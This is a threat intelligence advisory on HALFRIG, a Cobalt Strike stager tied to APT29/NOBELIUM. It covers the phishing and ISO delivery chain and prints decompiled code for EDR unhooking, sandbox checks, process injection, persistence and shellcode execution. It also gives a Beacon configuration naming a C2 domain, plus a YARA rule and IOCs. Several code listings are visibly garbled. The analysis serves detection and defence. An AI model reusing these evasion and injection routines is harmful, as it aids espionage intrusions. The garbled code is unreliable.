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**Threat Summary**

HALFRIG is a stager for CobaltStrike Beacon that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29\(^1\) and NOBELIUM\(^2\) activity sets. HALFRIG has significant code overlap with the QUARTERRIG and it is highly probable that it was developed by the same team.

HALFRIG does not download CobaltStrike Beacon from C2. Instead, it decrypts and executes an embedded shellcode. The only noteworthy feature (and new for malware linked to this activity cluster) of HALFRIG is execution split into multiple threads and modules.

HALFRIG was first observed in early February 2023. While it was used to facilitate the same type of access as SNOWYAMBER and in the same timeframe as SNOWYAMBER, HALFRIG targeting was much more selective\(^3\).

\(^1\) https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns


\(^3\) Phishing emails delivering SNOWYAMBER were sent to dozens recipients while phishing messages used in conjunction with HALFRIG targeted only a small handful of targets.
Detailed Technical Analysis

Delivery

So far, we have been aware of two very similar delivery chains used to deploy SNOWYAMBER to the victim. Both used compromised 3rd party websites for hosting a delivery script\(^4\) that used HTML smuggling to generate a decoded file on-the-fly.

A campaign dated October 2022 deployed SNOWYAMBER via ZIP container while one from February 2023 used an ISO file.

The following flowchart illustrates the infection chain:

![Flowchart](image)

*Figure 1 - HALFRIG delivery chain*

---

**Phishing - Email and Delivery Script**

Phishing email uses a PDF attachment with a link to the ENVYSCOUT embedded inside. The email itself does not contain any additional malicious content. The lure is consistent with themes of previously observed APT29 phishing emails.

HALFRIG has been delivered using a slightly modified, but well-known delivery script called ENVYSCOUT and linked to the APT29 and NOBELIUM activity sets.

**Container File - ISO**

The ISO file delivered by ENVYSCOUT contains several files – one executable and four DLL files. DLL files are hidden. Executable is a renamed WINWORD.EXE binary. Executable itself is not malicious and serves only as a means to load and execute the first stage of the HALFRIG backdoor. Executable is renamed to mimic a Word document. To hide the .EXE extension, the filename uses a large number of space characters. Same execution technique will be later used in QUARTERRIG delivery.

![Figure 2 - Content of Note.iso file dropped by ENVYSCOUT. DLL files are hidden and not visible in typical file explorer configuration.](image)

For brevity, in this advisory, we will simply refer to this executable as Note.exe, omitting spaces in the filename.

File timestamps of all modules appear to be real as they match PE/COFF metadata and malware distribution timeframe.
HALFRIG Analysis

HALFRIG is a simplistic but heavily obfuscated stager. It is written in C and uses WINAPI to facilitate most capabilities. The execution chain is split into 4 DLL files, each responsible for a small part of overall capability – i.e., setting up persistence. Aside from obfuscation (which we were not able to link to any open source/publicly available tool), HALFRIG incorporates OPSEC techniques to unhook EDR, verify if it was launched as expected (from Note.exe), and whether the sleep API call is emulated or skipped (which might indicate a sandbox environment). Aside from splitting the tool into multiple DLLs, one additional characteristic unique to HALFRIG is its heavy use of multithread execution. New threads are not spawned to parallelize execution or data processing but seemingly as an anti-analysis or obfuscation technique.

Whenever possible, we will present reconstructed (decompiled) code, but due to obfuscation, in some cases, the presented code will be manually edited for brevity.

Execution - Note.exe

This binary is a signed, unmodified WINWORD.EXE executable. Compare reversed Note.exe with WINWORD.EXE executable from the Office365 suite.
The adversary uses AppvlsvSubsystems64.dll import to facilitate HALFRIG execution. The following flowchart illustrates the module execution process:

![Figure 4 - HALFRIG execution flowchart](image)

**AppvlsvSubsystems64.dll**

The first DLL to be loaded and executed by renamed WINWORD.EXE is AppvlsvSubsystems64.dll. This DLL simply spawns a new thread that resolves APIs and loads the next module.

```c
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
    if (fdwReason == 1)
    {
        CurrentThreadId = GetCurrentThreadId();
        hThread = OpenThread(PROCESS_ALL_ACCESS, 0, CurrentThreadId);
        ThreadId = 0;
        CreateThread(0164, 0164, StartAddress, hThread, 0, &ThreadId);
    }
    return 1;
}
```

![Figure 5 - DllMain function of the first stage of HALFRIG](image)
The new thread resolves the required APIs, loads, and executes the next stage.

```c
_int64 __fastcall StartAddress(LPVOID lpThreadParameter)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"1" TO EXPAND]
    if ( SuspendThread(lpThreadParameter) == -1 )
    {
        error();
        return GetLastError();
    }
    else
    {
        // Initialize the struct_module structure that holds Kernel32 APIs
        InitializeKernel32ExportList(&Kernel32APIS);
        // Initialize and access the struct_module structure that holds remaining HALFRIG DLLs
        szMswordDll = AdversaryDLLList(&AdversaryDLLAPIList)[1];
        // Get LoadLibraryA API
        LoadLibraryA = ResolveAPIByName(&Kernel32APIS, Kernel32APIS.LoadLibraryA);
        // Load HALFRIG’s next stage
        hMswordDll = LoadLibraryA(szMswordDll);
        // Execute next stage
        if ( hMswordDll && (szGet = AdversaryDLLList(&AdversaryDLLAPIList)[2],
            GetProcAddress = ResolveAPIByName(&Kernel32APIS, Kernel32APIS.GetProcAddress),
            (pGet = GetProcAddress(hMswordDll, szGet)) != 0 ) )
        {
            pGet();
            return GetLastError();
        }
        else
        {
            error();
            return GetLastError();
        }
    }
}
```

*Figure 6 - the main AppVisvSubsystems64.dll routine – loads and executes the next stage*

All HALFRIG DLLs use the same obfuscation techniques:

- Strings are encrypted and decrypted during the execution. Plaintext strings are not re-encrypted or deleted after use.

- To facilitate dynamic API resolving, HALFRIG utilizes a custom structure that stores module and function information:

```
1. struct struct_Module {
2.     void *m_pModule; // pointer to the module (to the first byte)
3.     char_t *m_szModuleName; // null terminated string which holds module name
4.     char_t *m_aszAPINames[]; // array of pointers to the API names
5. };
6.
7. struct Module Modules[NumberOfDLLsRequired]; // array of modules used by malware
8.
```

The same structure is used to depict both WinAPI modules and the remaining HALFRIG DLLs.
msword.dll

This module facilitates OPSEC (unhooking, checking for sleep() emulation, checking for process tree). The module contains a large number of inlined string decryption routines. The following listing presents (heavily) cleaned-up code of the msword.dll get export that is called by AppvIsvSubsystems64.dll:

```c
1. __int64 get()
2. {
3.     //
4.     pUnhookedAPIs = getAPIs(&UnhookedAPIs);
5.     pProcessModules = &UnhookedAPIs.K32EnumProcessModules();
6.     // Iterate over all loaded modules, unmap and remap each one to unhook AVs/EDRs.
7.     uModuleCount = 53;
8.     do
9.         pModule = *pProcessModules;
10.        unhook(UnhookedAPIs, &pModule);
11.        ++pProcessModules;
12.        --uModuleCount;
13.     } while (uModuleCount);
14.     CloseHandle = GetProcAddress(&UnhookedAPIs, UnhookedAPIs.CloseHandle);
15.     CloseHandle(hThread);
16.     // Check if Sleep is emulated/patched to speed up wait time
17.     GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount);
18.     uTicks = GetTickCount();
19.     Sleep = GetProcAddress(&pKernel32Module, pKernel32Module.Sleep);
20.     Sleep(1000);
21.     GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount);
22.     if ( (GetTickCount() - uTicks < 1000 )
23.         return 1;
24.     )
25.     // Get unhooked APIs
26.     pUnhookedAPIs = InitializeKernel32ExportList(&UnhookedAPIs);
27.     // Check if DLL was executed by Note.exe or rundll32.exe
28.     szSystem32Path = DecryptString(szencSystem32Path);
29.     if ( (!CheckFileName(&pKernel32Module, szSystem32Path) )
30.         return 1;
31.     )
32.     // Stard main routine
33.     CreateThread = GetProcAddress(&pKernel32Module, szCreateThread);
34.     hThread = CreateThread(0, 0, InjectThead, 0, 0, &v57);
35.     // Wait for new thread to finish execution
36.     WaitForSingleObject = GetProcAddress(&pKernel32Module, szWaitForSingleObject);
37.     WaitForSingleObject(hThread, 300000);
39.     // Cleanup
40.     hProcess = GetCurrentProcess();
41.     TerminateProcess = GetProcAddress(&pKernel32Module, szTerminateProcess);
42.     TerminateProcess(hProcess, 0);
43.     return 0;
44. }
```
If OPSEC checks are passed, a new thread is spawned. The new thread again executes the same OPSEC-related code blocks (initialize APIs, unhook modules, check for sleep emulation, check for proper parent name) and, if all checks are passed, loads and injects the next stage into a randomly selected process.

```c
1. __int64 InjectThread()
2. {
3.   // Reused code blocks have been simplified
4.   ResolveAPIs();
5.   UnhookDLLs();
6.   CheckForSleepEmulation();
7.   InitializeCleanAPIs();
8.   CheckIfLaunchedFromNoteExe();
9.   InjectIntoSelectedProcess();
10.  return 0;
11. }
```

The process to which the next stage (envsrv.dll) is injected is selected randomly from a predefined, hardcoded list containing the following names: RunTimeBroker.exe, Svchost.exe, TaskHostW.exe, IpfHelper.exe, SecurityHealthService.exe, ApplicationFrameHost.exe.

To inject the next stage, the malware uses a well-known API pattern:

1. OpenProcess
2. VirtualAllocEx
3. WriteProcessMemory
4. CreateRemoteThread

And waits for the process to end its execution before terminating using the following API pattern:

1. WaitForSingleObject
2. GetExitCodeThread
3. CloseHandle
**envsrv.dll**

Envsrv.dll is responsible for facilitating persistence via the Run registry key. Envsrv.dll has one export (named `unify`, ord #2). It closely follows a previously established pattern, reusing exactly the same code blocks. A simplified codeflow is presented on the listing below:

```c
1. __int64 unify()
2. {
3.   // Reused code blocks have been simplified
4.   ResolveAPIs();
5.   UnhookDLLs();
6.   CheckForSleepEmulation();
7.   InitializeCleanAPIs();
8.   CreateNewThread(pPersistenceThread);
9.   // Wait for new thread to finish execution
10.  WaitForSingleObject();
11.  return 0;
12. }
```

PersistenceThread verifies whether persistence has been set up, and if not, creates a directory and copies the content of the ISO file to the hardcoded directory. It also creates a registry key to launch malware after reboot. The screenshot below presents the persistence registry key and the path to where the malware copies its files and the launched executable:

![Figure 7 - persistence technique used in HALFRIG](image)

After persistence has been verified/established, the malware proceeds to load the next stage: mscosht.dll.
mschost.dll

The final module of HALFRIG is used to launch the Cobalt Strike beacon. DLL exports only one function - `create`. Create uses exactly the same pattern as previous modules.

```c
__int64 create()
{

    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
    pKernel32APIs = InitializeAPIList(&Kernel32APIs);
    unhookDLL(pKernel32APIs);
    CloseHandle = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.CloseHandle);
    CloseHandle(hParentProcess);
    ReInitializeAPIs(&Kernel32APIs);
    GetTickCount = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.GetTickCount);
    uTicks = GetTickCount();
    Sleep = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.Sleep);
    Sleep(1000164);
    GetTickCount = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.GetTickCount);
    if (GetTickCount() - uTicks < 1000)
    return 1164;
    lpThreadld = 0;
    lpParameter = 0;
    ReInitializeAPIs(&Kernel32APIs);
    CreateThread = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.CreateThread);
    (CreateThread)(0164, 0164, StartAddress, &lpParameter, 0, &lpThreadld);
    while (!lpParameter)
    {
        Sleep = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.Sleep);
        Sleep(1000164);
    }
    Sleep = GetProcAddress_0(&Kernel32APIs, Kernel32APIs.Sleep);
    Sleep(1000164);
    return 0164;
}
```

*Figure 8 - reconstructed create function*

The new thread that is spawned is responsible for allocating memory for the shellcode, decrypting it, and executing the CobaltStrike beacon shellcode. The new thread starts with the same pattern as previous threads:

```c
__int64_fastcall StartAddress(_BYTE *ai)
{

    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
    pKernel32APIs = InitializeAPIList(&Module);
    unhookDLL(pKernel32APIs);
    CloseHandle = GetProcAddress_0(&Module, Module.CloseHandle);
    (CloseHandle)(ai);
    ReInitializeAPIs(&Module);
    GetTickCount = GetProcAddress_0(&Module, Module.GetTickCount);
    uTicks = GetTickCount();
    Sleep = GetProcAddress_0(&Module, Module.Sleep);
    Sleep(1000164);
    GetTickCount = GetProcAddress_0(&Module, Module.GetTickCount);
    if (GetTickCount() - uTicks < 1000)
    return 1164;
}
```

*Figure 9 - shellcode execsdutition thread starts with the same pattern as previous threads*
And then it allocates memory, decrypts the shellcode, and changes memory permissions to RWX to execute the shellcode:

```c
// Initialize APIs(moduleName);
VirtualAlloc = GetProcAddress((HMODULE, Module.VirtualAlloc);
buffer = (VirtualAlloc)(0164, 0x0F03164, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
v1 = 0;
*EncryptedShellcode = *EncryptedShellcode;
*pDecryptionKey = DecryptionKey;
*numberOfRounds = 32164;
do
{
  bKeyByte = *pDecryptionKey;
  if ( *pEncryptedShellcode )
  {
    bShellcodeByte = *pEncryptedShellcode;
    do
    {
      v17 = (*bKeyByte + 1);
      v18 = pBuffer + (v11 << 10) - *bKeyByte;
      v19 = 512164;
      do
      {
        v17[v18] = v17;
        v17 = 2;
        v19 = v19;
      }
      while ( v19 );
      ++v11;
      ++bKeyByte;
      --bShellcodeByte;
    }
    while ( bShellcodeByte );
  }
  ++pDecryptionKey;
  ++pEncryptedShellcode;
  --numberOfRounds;
}
while ( *numberOfRounds );
VirtualProtect = GetProcAddress((HMODULE, Module.VirtualProtect);
*(VirtualProtect)(pBuffer, 0x0F03164, PAGE_EXECUTE_READWRITE, &pFixedProtect);
*a1 = 1;
pBuffer();
return 0164;
```

Figure 10 - shellcode decryption and execution routine
The listing below presents CobaltStrike beacon configuration:

```json
1. {
2.   "BeaconType": [  
3.     "HTTPS"
4.   ],
5.   "Port": 443,
6.   "SleepTime": 60000,
7.   "MaxGetSize": 1398102,
8.   "Jitter": 18,
9.   "C2Server": "communitypowersports.com,/owa/L7k2NQpwPLqlq4C2dHD6TRv00GCH1axhawl",  
10.  "HttpPostUri": "/owa/o9besAwTVJKNeyrfO0y2tn-epXE7f",
11.  "Malleable_C2_Instructions": [  
12.    "Base64 URL-safe decode"
13.   ],
14.  "HttpGet_Verb": "GET",
15.  "HttpPost_Verb": "POST",
16.  "HttpPostChunk": 0,
17.  "Spawnto_x86": "%windir%\syswow64\powercfg.exe",
18.  "Spawnto_x64": "%windir%\sysnative\powercfg.exe",
19.  "CryptoScheme": 0,
20.  "Proxy_Behavior": "Use IE settings",
21.  "Watermark": 1359593325,
22.  "bStageCleanup": "True",
23.  "bCF6Caution": "False",
24.  "KillDate": 0,
25.  "bProcInject_StartRWX": "True",
26.  "bProcInject_UseRWX": "False",
27.  "bProcInject_MinAllocSize": 56642,
28.  "ProcInject_PrependAppend_x86": [  
29.    "kJCQkJCQkJCQ",
30.    "Empty"
31.   ],
32.  "ProcInject_PrependAppend_x64": [  
33.    "kJCQkJCQkJCQ",
34.    "Empty"
35.   ],
36.  "ProcInject_Execute": [  
37.    "ntdll.dll:RtlUserThreadStart",
38.    "NtQueueApcThread-s",
39.    "SetThreadContext",
40.    "CreateRemoteThread",
41.    "kernel32.dll:LoadLibraryA",
42.    "RtlCreateUserThread"
43.   ],
44.  "ProcInject_AllocationMethod": "VirtualAllocEx",
45.  "bUsesCookies": "True",
46.  "HostHeader": ""
47. }
```

CobaltStrike watermark **1359593325** has been previously observed in campaigns linked to APT29/NOBELIUM although it is a nonexclusive indicator.
YARA Rule

A rule that can be used to scan for HALFRIG:

```yara
1. rule APT29_HALFRIG_OBFUSCATION
2. {
3.  meta:
4.  description = "Detects obfuscation patterns used in HALFRIG. This rule wasn't tested against large dataset, it should be used for threat hunting and not on services like VTI."
5.  strings:
6.     $ = {48 BB 0B 91 09 19 4D FD 9B F3 }
7.     $ = {4D 8D 40 01 48 8B CA 48 8B C2 48 C1 E9 38 48 83 C9 01 48 C1 E0 08 48 88 D1 48 33 D0} 
8.     $ = {C7 05 [3] 00 F7 91 4D 01 } 
9.  condition:
10.    uint16(0) == 0x5A4D
11.    and
12.    filesize < 500KB
13.    and
14.    all of them
15. }
```
# Appendix A – IOCs

## File IOCs

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Legitimate binary used for loading malicious DLL</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>Note.exe</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>1597KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>83863beee3502e42ced7e4b6dacb9eac</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>d9d40cb3e2fe05cf223dc0b592a692c132340042</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>cb470d77087518ed7bc53ca5486c265ae2485d40ec212acc2559720940fb27</td>
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</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Virtual disc container</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>Note.iso</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>2688KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>0e5ed3778ee9c0200a0675463840acb</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>fbb4824165f312ed64b3a0ebee7fed5e6610c21a</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>d1455c42553fbb54e78c8745255c812aaefb1f3cc69f9c314649bd6e4e57b9fa9</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>1\textsuperscript{st} module</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>AppvIsvSubsystems64.dll</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>27KB</td>
</tr>
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<td><strong>MD5</strong></td>
<td>f532c0247b583de8936982e86876093b</td>
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<tr>
<td><strong>SHA1</strong></td>
<td>f61e0d09be2081d6f325aa704fe6136a747c2d</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>ddf218e4e7c5ed5e8bd502fb115de7bfbaa393fb7e0b3b9001168caebc771c50</td>
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</table>

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<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>2\textsuperscript{nd} module</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>msword.dll</td>
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<td><strong>File Size</strong></td>
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</tr>
<tr>
<td><strong>MD5</strong></td>
<td>abc87df864f31725dd1d7231f6f07354</td>
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<tr>
<td><strong>SHA1</strong></td>
<td>e418d37cf4c868884be744b416cbdb0243a9e</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>efebd9d0fabe464a32c4e33fe756d6ef7a9b369c0f1462b3dd573b6b67488e</td>
</tr>
</tbody>
</table>
### Indicator | Value
--- | ---
**3rd module** |  
File Name | envsrv.dll  
File Size | 56KB  
MD5 | 2ffaa8cbc7f0d21d03d3dd897d974dba  
SHA1 | 6dff9a9f13300a5ce72a70d907ff7854599e990a  
SHA256 | cfa65036aff012d7476694ea733e3e882cf8e18f336af5fba3ed2ef29160d45b  

### Indicator | Value
--- | ---
**4th module (shellcode stager)** |  
File Name | mschost.dll  
File Size | 391KB  
MD5 | 5b6d8a474c556fe327004ed8a33edcdb  
SHA1 | a677b6aa958fe02cac0730d36e8123648e02884f  
SHA256 | 86edfd6c7a2fab8c50a372494e3d5b08c032cca754396f6e288d5d4c5738cb4c
## Network IoCs

<table>
<thead>
<tr>
<th>Value</th>
<th>Indicator</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>sawabfoundation[.]net/p.php?ip=&lt;IP&gt;&amp;ua=&lt;USER_AGENT&gt;</td>
<td>URL pattern</td>
<td>ENVYSCOUT backend fingerprint collector</td>
</tr>
<tr>
<td>sawabfoundation[.]net/note.html</td>
<td>URL</td>
<td>ENVYSCOUT</td>
</tr>
<tr>
<td>sawabfoundation[.]net</td>
<td>Domain</td>
<td>compromised hosting used for ENVYSCOUT</td>
</tr>
<tr>
<td>communitypowersports[.]com</td>
<td>Domain</td>
<td>CobaltStrike redirector</td>
</tr>
<tr>
<td>sanjosemotosport[.]com</td>
<td>Domain</td>
<td>Actual CobaltStrike C2</td>
</tr>
</tbody>
</table>
# Appendix B – MITRE ATT&CK

## Resource Development

<table>
<thead>
<tr>
<th>T1583.003</th>
<th>Virtual Private Server</th>
<th>The adversary used VPSs to host malware C2s</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1584</td>
<td>Compromise Infrastructure</td>
<td>The adversary used compromised webservers to host ENVYSCOUT delivery scripts</td>
</tr>
</tbody>
</table>

## Initial Access

<table>
<thead>
<tr>
<th>T1566</th>
<th>Phishing</th>
<th>The adversary sent emails that used diplomatic themes</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1566.001</td>
<td>Spearphishing Attachment</td>
<td>The adversary sent emails with a PDF attachment. The PDF contained a link to ENVYSCOUT</td>
</tr>
</tbody>
</table>

## Execution

<table>
<thead>
<tr>
<th>T1204</th>
<th>User Execution</th>
<th>The adversary relies on tricking users into executing malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1204.002</td>
<td>Malicious File</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking to execute malware</td>
</tr>
</tbody>
</table>

## Persistence

<table>
<thead>
<tr>
<th>T1547.001</th>
<th>Registry Run Keys / Startup Folder</th>
<th>The adversary used the Run registry key to maintain persistence</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1574.001</td>
<td>DLL Search Order Hijacking</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking into a process created from a legitimate binary to execute malware</td>
</tr>
<tr>
<td>T1574.002</td>
<td>DLL Side-Loading</td>
<td>The adversary maintains persistence by planting a copy of a legitimate binary that loads malicious DLL</td>
</tr>
</tbody>
</table>

## Defense Evasion

<table>
<thead>
<tr>
<th>T1027.006</th>
<th>HTML Smuggling</th>
<th>ENVYSCOUT delivery script uses HTML Smuggling to bypass security controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1140</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>The adversary uses obfuscation to protect sensitive information (i.e. strings).</td>
</tr>
<tr>
<td>T1553.005</td>
<td>Mark-of-the-Web Bypass</td>
<td>The adversary abuses container files such as ISO to deliver malicious payloads that are not tagged with MOTW</td>
</tr>
<tr>
<td>T1574.001</td>
<td>DLL Search Order Hijacking</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking into a process created from a legitimate binary to execute malware</td>
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